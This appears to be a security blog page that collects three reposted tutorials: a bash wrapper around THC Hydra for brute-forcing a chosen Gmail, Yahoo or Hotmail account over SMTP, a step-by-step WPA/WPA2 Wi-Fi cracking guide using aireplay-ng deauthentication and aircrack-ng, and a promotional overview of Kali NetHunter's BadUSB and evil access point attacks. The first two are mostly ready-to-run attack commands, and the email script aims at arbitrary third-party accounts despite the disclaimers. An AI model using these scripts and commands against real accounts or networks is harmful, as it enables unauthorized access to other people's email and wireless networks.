Search

Cyber Security

Cybersecurity is the body of technologies, processes and practices designed to protect networks, computers, programs and data from attack, damage or unauthorized access. In a computing context, security includes both cybersecurity and physical security | vishal waghmare

Category

http://schemas.google.com/blogger/2008/kind#post

How to Brute-Force Email Using a Simple Bash Script (Ft. THC Hydra)

and I am not a script kiddy brat from Xbox Live asking you how to boot someone offline for being mean to me. I am an amateur white hat hacker hoping to learn and teach and this is my first tutorial.
THC Hydra is very prominent online brute-force tool and has been featured in Null-Byte quite a lot. It is dictionary based, as you will have to provide a wordlist with possible passwords. You can read the README here: https://github.com/vanhauser-thc/thc-hydra
Today ,we will be focusing on brute forcing email, or more specifically, SMTP, also known as the Simple Mail Transfer Protocol. It is your standard protocol for sending electronic mail.
Let’s get started!

Step 1: Open Up Kali!

Of course, we will be using Kali Linux. I use mine on VMware Workstation, but it won’t really matter what you use.
Let’s open up Leafpad, or your text editing program of your choice.

Step 2: Bash Time!

We’re going to write a little bit of script, so that we can save some time instead of going through the hassle of actually typing out parameters.
On Leafpad, type:
#! /bin/bash
echo Simple Email Cracking Script in bash
echo Written By: Alan Cao
echo NOTE: Make sure you have wordlists!
echo Let us Begin:
echo Choose a SMTP service: Gmail = smtp.gmail.com / Yahoo = smtp.mail.yahoo.com / Hotmail = smtp.live.com /:
read smtp
echo Enter Email Address:
read email
echo Provide Directory of Wordlist for Passwords:
read wordlist
hydra -S -l $email -P $wordlist -e ns -V -s 465 $smtp smtp
And after you got it, save it as anything you want, but with .sh at the end. Make sure it is in the root directory. Not on your desktop, but in /root.

Now, I am going to explain how the script works.
#! /bin/bash simply means that everything is in bash.
echo simply means to tell the computer to say something. For example, echo Hello World means to tell the computer to output Hello World.
read is asking for user input. this will then store your input into a variable. read email would mean for you to enter something, and it will be stored into the email.
hydra -S -l $email -P $wordlist -e ns -V -s 465 $smtp smtp is the THC Hydra command which will help brute-force the email address. As you may tell, there are some parameters with a $. This is the variable with stored values you previously input in the read command.

Step 3: Permissions

We’re not done yet! The file you have saved (in root, right?) only has read and write permissions. This means you cannot execute it.
Let’s open up Terminal. Type in
chmod a+x yourscript.sh (ofc replace yourscript with the name you actually gave to the bash file)

Step 4: Execute!

Now we can finally use it!
In terminal, let’s type
./yourscript.sh

It’s working!
The script is self-explanatory. Type in the SMTP service of the target’s email, where smtp.gmail.com is Gmail. After that, you provide the gmail account, such as johndoe@gmail.com and give a wordlist directory, which you can find some default ones in the /usr/share/wordlists directory, or you can create your own with Crunch or CUPP. http://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/

How To Hack WPA/WPA2 Wi-Fi With Kali Linux & Aircrack-ng

Kali Linux can be used for many things, but it probably is best known for its ability to penetration test, or “hack,” WPA and WPA2 networks. There are hundreds of Windows applications that claim they can hack WPA; don’t get them! They’re just scams, used by professional hackers, to lure newbie or wannabe hackers into getting hacked themselves. There is only one way that hackers get into your network, and that is with a Linux-based OS, a wireless card capable of monitor mode, and aircrack-ng or similar. Also note that, even with these tools, Wi-Fi cracking is not for beginners. Playing with it requires basic knowledge of how WPA authentication works, and moderate familiarity with Kali Linux and its tools. If you feel you have the necessary skills, let’s begin:
These are things that you’ll need:

If you have these then roll up your sleeves and let’s see how secure your network is!
          Important notice: Hacking into anyone’s Wi-Fi without permission is considered an illegal act or crime in most countries. We are performing this tutorial for the sake of penetration testing, hacking to become more secure, and are using our own test network and router.

By reading and/or using the information below, you are agreeing to our Disclaimer


Step One:

Start Kali Linux and login, preferably as root.
Step 1
Step Two:
Plugin your injection-capable wireless adapter, (Unless your native computer wireless card supports it). If you’re using Kali in VMware, then you might have to connect the card via the imageicon in the device menu.
Step Three:
Disconnect from all wireless networks, open a Terminal, and type airmon-ng
Step 3
This will list all of the wireless cards that support monitor (not injection) mode. If no cards are listed, try disconnecting and reconnecting the adapter (if you’re using one) and check that it supports monitor mode. If you’re not using an external adapter, and you still don’t see anything listed, then your card doesn’t support monitor mode, and you’ll have to purchase an external one (see the link in the requirements). You can see here that my card supports monitor mode and that it’s listed as wlan0.
Step Four:
Type airmon-ng start followed by the interface name of your wireless card. mine is wlan0, so my command would be: airmon-ng start wlan0
Step 4
The “(monitor mode enabled)” message means that the card has successfully been put into monitor mode. Note the name of the new monitor interface, mon0.


EDIT:A bug recently discovered in Kali Linux makes airmon-ng set the channel as a fixed “-1” when you first enable mon0. If you receive this error, or simply do not want to take the chance, follow these steps after enabling mon0:
Type: ifconfig [interface of wireless card] down and hit Enter.
Replace [interface of wireless card] with the name of the interface that you enabled mon0 on; probably called wlan0. This disables the wireless card from connecting to the internet, allowing it to focus on monitor mode instead.
After you have disabled mon0 (completed the wireless section of the tutorial), you’ll need to enable wlan0 (or name of wireless interface), by typing: ifconfig [interface of wireless card] up and pressing Enter.



Step Five:
Type airodump-ng followed by the name of the new monitor interface, which is probably mon0.
Step 5
If you receive a “fixed channel –1” error, see the Edit above.
Step Six:
Airodump will now list all of the wireless networks in your area, and a lot of useful information about them. Locate your network or the network that you have permission to penetration test. Once you’ve spotted your network on the ever-populating list, hit Ctrl + C on your keyboard to stop the process. Note the channel of your target network.
step 6

Step Seven:
Copy the BSSID of the target network
Step 7

Now type this command:
airodump-ng -c [channel] –bssid [bssid] -w /root/Desktop/ [monitor interface]Replace [channel] with the channel of your target network. Paste the network BSSID where [bssid] is, and replace [monitor interface] with the name of your monitor-enabled interface, (mon0). The “–w” and file path command specifies a place where airodump will save any intercepted 4-way handshakes (necessary to crack the password). Here we saved it to the Desktop, but you can save it anywhere.

A complete command should look similar this:
airodump-ng -c 10 –bssid 00:14:BF:E0:E8:D5 -w /root/Desktop/ mon0
image
Now press enter.
Step Eight:
Airodump with now monitor only the target network, allowing us to capture more specific information about it. What we’re really doing now is waiting for a device to connect or reconnect to the network, forcing the router to send out the four-way handshake that we need to capture in order to crack the password.
Also, four files should show up on your desktop, this is where the handshake will be saved when captured, so don’t delete them!

But we’re not really going to wait for a device to connect, no, that’s not what impatient hackers do. We’re actually going to use another cool-tool that belongs to the aircrack suite called aireplay-ng, to speed up the process. Instead of waiting for a device to connect, hackers can use this tool to force a device to reconnect by sending deauthentication (deauth) packets to one of the networks devices, making it think that it has to reconnect with the network.
Of course, in order for this tool to work, there has to be someone else connected to the network first, so watch the airodump-ng and wait for a client to show up. It might take a long time, or it might only take a second before the first one shows. If none show up after a lengthy wait, then the network might be empty right now, or you’re to far away from the network.

You can see in this picture, that a client has appeared on our network, allowing us to start the next step.
Step 8
Step Nine:
Leave airodump-ng running and open a second terminal. In this terminal, type this command:
aireplay-ng –0 2 –a [router bssid] –c [client bssid] mon0The –0 is a short cut for the deauth mode and the 2 is the number of deauth packets to send.
-a indicates the access point/router’s BSSID, replace [router bssid] with the BSSID of the target network, which in my case, is 00:14:BF:E0:E8:D5.
-c indicates the client’s BSSID, the device we’re trying to deauth, noted in the previous picture. Replace the [client bssid] with the BSSID of the connected client, this will be listed under “STATION.”
And of course, mon0 merely means the monitor interface, change it if yours is different.

My complete command looks like this:
aireplay-ng –0 2 –a 00:14:BF:E0:E8:D5 –c 4C:EB:42:59:DE:31 mon0

Step 9
Step Ten:
Upon hitting Enter, you’ll see aireplay-ng send the packets. If you were close enough to the target client, and the deauthentication process works, this message will appear on the airodump screen (which you left open):
image

step 10
This means that the handshake has been captured, the password is in the hacker’s hands, in some form or another. You can close the aireplay-ng terminal and hit Ctrl + C on the airodump-ng terminal to stop monitoring the network, but don’t close it yet just incase you need some of the information later.
If you didn’t receive the “handshake message,” then something went wrong in the process of sending the packets. Unfortunately, a variety of things can go wrong. You might just be too far away, and all you need to do is move closer. The device you’re attempting to deauth might not be set to automatically reconnect, in which case you’ll either have to try another device, or leave airodump on indefinitely until someone or something connects to the network. If you’re very close to the network, you could try a WiFi spoofing tool like wifi-honey, to try to fool the device into thinking that you’re the router. However, keep in mind that this requires that you be significantly closer to the device than the router itself. So unless you happen to be in your victim’s house, this is not recommended.
Do note that, despite your best efforts, there are many WPA networks that simply can’t be cracked by these tools. The network could be empty, or the password could be 64 characters long, etc.
Step 11:
This concludes the external part of this tutorial. From now on, the process is entirely between your computer, and those four files on your Desktop. Actually, it’s the .cap one, that is important. Open a new Terminal, and type in this command:
aircrack-ng -a2 -b [router bssid] -w [path to wordlist] /root/Desktop/*.cap

-a is the method aircrack will use to crack the handshake, 2=WPA method.
-b stands for bssid, replace [router bssid] with the BSSID of the target router, mine is 00:14:BF:E0:E8:D5.
-w stands for wordlist, replace [path to wordlist] with the path to a wordlist that you have downloaded. I have a wordlist called “wpa.txt” in the root folder.
/root/Desktop/*.cap is the path to the .cap file containing the password. The * means wild card in Linux, and since I’m assuming that there are no other .cap files on your Desktop, this should work fine the way it is.

My complete command looks like this:
aircrack-ng –a2 –b 00:14:BF:E0:E8:D5 –w /root/wpa.txt  /root/Desktop/*.cap
image

Now press Enter.
Step 12:
Aircrack-ng will now launch into the process of cracking the password. However, it will only crack it if the password happens to be in the wordlist that you’ve selected. Sometimes, it’s not. If this is the case, you can try other wordlists. If you simply cannot find the password no matter how many wordlists you try, then it appears your penetration test has failed, and the network is at least safe from basic brute-force attacks.
Cracking the password might take a long time depending on the size of the wordlist. Mine went very quickly.
If the phrase is in the wordlist, then aircrack-ng will show it too you like this:

image
The passphrase to our test-network was “notsecure,” and you can see here that it was in the wordlist, and aircrack found it.
If you find the password without a decent struggle, then change your password, if it’s your network. If you’re penetration testing for someone, then tell them to change their password as soon as possible.

Introducing Kali Linux NetHunter and NetHunter supported devices

Featured: The Kali Linux NetHunter project is the first Open Source Android penetration testing platform for Nexus devices, created as a joint effort between the Kali community member “BinkyBear” and Offensive Security. NetHunter supports Wireless 802.11 frame injection, one-click MANA Evil Access Point setups, HID keyboard (Teensy like attacks), as well as BadUSB MITM attacks – and is built upon the sturdy shoulders of the Kali Linux distribution and toolsets. Whether you have a Nexus 5, Nexus 7, or Nexus 10, NetHunter got you covered. NetHunter’s freely downloadable images come with easy to follow installation and setup instructions to get you up and running in no time at all.
Kali NetHunter Screenshot

NetHunter is an Android penetration testing platform for Nexus and OnePlus devices built on top of Kali Linux, which includes some special and unique features. Of course, you have all the usual Kali tools in NetHunter as well as the ability to get a full VNC session from your phone to a graphical Kali chroot, however the strength of NetHunter does not end there.
As an experienced penetration tester or security professional, it is imperative that you trust the tools you work with. One way to achieve this trust is by having full transparency and familiarity with the code you are running. You are free to read, investigate, and change NetHunter protects build scripts for the NetHunter images. All of this goodness from the house of Offensive Security and developers of Kali Linux!

Kali Linux NetHunter supported devices

Kali Linux NetHunter project used to support Nexus devices only, but it added OnePlus device in it’s supported list.
The Kali NetHunter image is currently compatible with the following Nexus and OnePlus devices:

  • Nexus 4 (GSM) – “mako”
  • Nexus 5 (GSM/LTE) – “hammerhead”
  • Nexus 7 [2012] (Wi-Fi) – “nakasi”
  • Nexus 7 [2012] (Mobile) – “nakasig”
  • Nexus 7 [2013] (Wi-Fi) – “razor”
  • Nexus 7 [2013] (Mobile) – “razorg”
  • Nexus 10 (Tablet) – “mantaray”
  • OnePlus One 16 GB – “bacon”
  • OnePlus One 64 GB – “bacon”

A further breakdown below:

Nexus 4 & 5 Android Phone

Kali Linux NetHunter for the Nexus 5 provides you with the ultimate in penetration testing portability. With a quad-core 2.26GHz CPU and 2GB of RAM, you have an immense amount of power at your fingertips to run a wide range of attacks.
Nexus 4
NetHunter supported devices - Nexus 5 - blackMORE Ops -1

Nexus 7 Mini Tablet

With the Nexus 7 running Kali NetHunter, you have a powerful, portable, and inexpensive penetration testing platform. NetHunter images are available for both the Wi-Fi and LTE versions, giving you a great deal of versatility.
Nexus 7 Mini Tablet
NetHunter supported devices - Nexus 7 - blackMORE Ops -2

Nexus 10 Tablet

With its 2560×1600 resolution, dual-core CPU, and 2GB of RAM, Kali Linux NetHunter on the Nexus 10 gives you a full desktop experience with all the power and versatility that Kali Linux has to offer, in a portable form-factor.
Nexus 10
NetHunter supported devices - Nexus 10 - blackMORE Ops -3

OnePlus One Phones – New!

This is the latest addition to our line of supported phones – at half the price of a Nexus and beefy specs, it’s slowly growing to be our favorate NetHunter platform.
OnePlus One
NetHunter supported devices - One Plus One - blackMORE Ops -4

NetHunter supported devices – Features

  • 802.11 Wireless Injection and AP mode support with multiple supported USB wifi cards.
  • Capable of running USB HID Keyboard attacks, much like the Teensy device is able to do.
  • Supports BadUSB MITM attacks. Plug in your Nethunter to a victim PC, and have your traffic relayed though it.
  • Contains a full Kali Linux toolset, with many tools available via a simple menu system.
  • USB Y-cable support in the Nethunter kernel – use your OTG cable while still charging your Nexus device!
  • Software Defined Radio support. Use Kali Nethunter with your HackRF to explore the wireless radio space.

Kali Linux NetHunter - Supported Nexus Nethunter Devices - blackMORE Ops -2
As usual, it is open source and much like Linux from scratch.

  1. You can configure and build your NetHunter image from scratch.
  2. NetHunter is SSH enabled and you can do it over 3G.
  3. It comes with Advanced HID keyboard is like a Teensy devices.
  4. The BadUSB attack is jaw dropping. Connect NetHunter to a USB port and become the default gateway.
  5. Running the Evil AP “Mana” Toolkit by Sensepost is as simple as clicking a single button.
  6. Although running on Android, I love how you can just VNC into Kali, and use all the tools you are used to.

HID Keyboard and BadUSB – Video

Kali and Offensive Security team incorporated some amazing features into the NetHunter OS which are both powerful and unique. From pre-programmed HID Keyboard (Teensy) attacks, to BadUSB Man In The Middle attacks, to one-click MANA Evil Access Point setups. And yes, NetHunter natively supports wireless 802.11 frame injection with a variety of supported USB NICs. NetHunter is still in its infancy and we are looking forward to seeing this project and community grow. Here’s a great video on that

The Kali NetHunter configuration interface allows you to easily configure complex configuration files through a local web interface. This feature, together with a custom kernel that supports 802.11 wireless injection and preconfigured connect back VPN services, make the NetHunter a formidable network security tool or discrete drop box – with Kali Linux at the tip of your fingers wherever you are!

Important Concepts about NetHunter

  • Kali NetHunter runs within a chroot environment on the Android device so, for example, if you start an SSH server via an Android application, your SSH connection would connect to Android and not Kali Linux. This applies to all network services.
  • When configuring payloads, the IP address field is the IP address of the system where you want the shell to return to. Depending on your scenario, you may want this address to be something other than the NetHunter.
  • Due to the fact that the Android device is rooted, Kali NetHunter has access to all hardware, allowing you to connect USB devices such as wireless NICs directly to Kali using an OTG cable.

NetHunter website – links and download locations

  1. Kali Linux NetHunter official page
  2. Kali Linux NetHunter project page – Kali site
  3. NetHunter Image download page
  4. NetHunter FAQ

Conclusion

If all that doesn’t turn you on, then the following comment will make NetHunter irresistible:

Blog at WordPress.com.

Up ↑